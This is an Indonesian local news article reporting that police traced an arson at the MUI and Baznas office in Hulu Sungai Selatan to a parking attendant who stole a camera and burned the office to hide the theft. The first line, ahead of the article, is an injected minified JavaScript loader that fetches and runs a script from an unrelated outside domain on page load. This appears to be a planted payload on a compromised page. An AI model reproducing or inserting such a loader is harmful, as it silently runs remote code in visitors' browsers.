(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terungkap, Ini Motif AA Bakar Kantor MUI dan Baznas HSS


KANDANGAN, Dalang pembakaran Kantor MUI Hulu Sungai Selatan (HSS) dan Badan Amil Zakat Nasional (Baznas) HSS akhirnya terungkap. Peristiwas kebakaran di Jalan Pemuda Kecamatan Kandangan, HSS itu sebelumnya diduga akibat arus pendek listrik, yang terjadi pada Rabu (21/2) dini hari sekitar pukul 02.30 Wita. Selain kantor bersama itu, dua ruang kelas TK Pertiwi juga ikut terbakar. Sebelumnya diduga konsleting listrik oleh Polres Hulu Sungai Selatan

Akhirnya, terungkap sudah siapa pelaku pencurian sekaligus pembakaran Kantor MUI Kabupaten HSS yakni AA  (26) warga Gg Pulau Sepakat, Kelurahan Kandangan Kota, Kecamatan Kandangan, Kabupaten HSS. AA merupakan pelaku tunggal ditangkap Unit Jatanras Sat Reskrim Polres HSS Selasa (27/ 2) di kawasan parkir taman Palindangan Sehati Kabupaten HSS tanpa perlawanan.

Dalam rekontruksi yang digelar Rabu (7/3) pagi, dipimpin langsung oleh Kapolres HSS AKBP Rahmat Budi Handoko SIK, pelaku memperagakan sekitar 35 adegan.

“Kejadian ini murni tindak pidana, tidak ada unsur lain. Pelaku mencuri kamera dulu baru melakukan pembakaran terhadap kantor. Alasan pelaku membakar untuk menghilangkan jejak perbuatannya tersebut,” tutur Kapolres HSS AKBP Rahmat Budi Handoko SIK.

Menurut keterangan pelaku kepada petugas, awalnya AA hanya ingin mencuri di kantor MUI dan Baznas HSS. Namun karena panik dan ingin menghilangkan jejak, ia nekat melakukan aksi pembakaran.

Kapolres HSS menambahkan, pelaku awalnya memang hanya ingin mencuri. Namun ternyata pelaku ingin menghilangkan jejak. Pihaknya menegaskan bahwa tujuan utama pelaku adalah melakukan pencurian. Selain itu pihak Polres HSS menegaskan rumor atau isu bahwa MUI dibakar orang yang tidak dikenal dan ada unsur SARA tidak benar.

Akibat perbuatannya AA terancam melanggar pasal 363 KUHP dengan ancaman 7 tahun penjara dan Pasal 187 KUHP dengan ancaman 12 tahun penjara. Pelaku yang sehari-hari bekerja sebagai tukang parkir tersebut sekarang mendekam di Rutan Polres HSS guna mempertanggungjawabkan perbuatannya. (ammar)

Reporter: Ammar
Editor: Abi Zharrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.